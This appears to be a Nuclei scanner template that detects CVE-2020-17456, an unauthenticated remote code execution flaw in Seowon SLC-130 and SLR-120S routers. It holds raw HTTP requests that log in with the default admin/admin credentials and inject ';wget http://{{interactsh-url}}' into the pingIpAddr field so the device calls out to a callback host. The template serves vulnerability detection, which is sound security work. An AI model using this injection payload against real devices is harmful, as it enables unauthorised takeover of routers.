id: CVE-2020-17456

info:
  name: Seowon SLC-130 And SLR-120S - Unauthenticated Remote Code Execution
  author: gy741,edoardottt
  severity: critical
  description: SEOWON INTECH SLC-130 And SLR-120S devices allow Remote Code Execution via the ipAddr parameter to the system_log.cgi page.
  reference:
    - https://maj0rmil4d.github.io/Seowon-SlC-130-And-SLR-120S-Exploit/
    - https://nvd.nist.gov/vuln/detail/CVE-2020-17456
  tags: rce,seowon,router,unauth,iot,cve,cve2020,oast
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.80
    cve-id: CVE-2020-17456
    cwe-id: CWE-78

requests:
  - raw:
      - |
        POST /cgi-bin/login.cgi HTTP/1.1
        Host: {{Hostname}}
        Origin: {{BaseURL}}
        Referer: {{BaseURL}}
        Content-Type: application/x-www-form-urlencoded

        browserTime=081119502020&currentTime=1597159205&expires=Wed%252C%2B12%2BAug%2B2020%2B15%253A20%253A05%2BGMT&Command=Submit&user=admin&password=admin
      - |
        POST /cgi-bin/system_log.cgi HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        Command=Diagnostic&traceMode=ping&reportIpOnly=&pingIpAddr=;wget http://{{interactsh-url}}&pingPktSize=56&pingTimeout=30&pingCount=4&maxTTLCnt=30&queriesCnt=3&reportIpOnlyCheckbox=on&logarea=com.cgi&btnApply=Apply&T=1646950471018

    cookie-reuse: true
    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200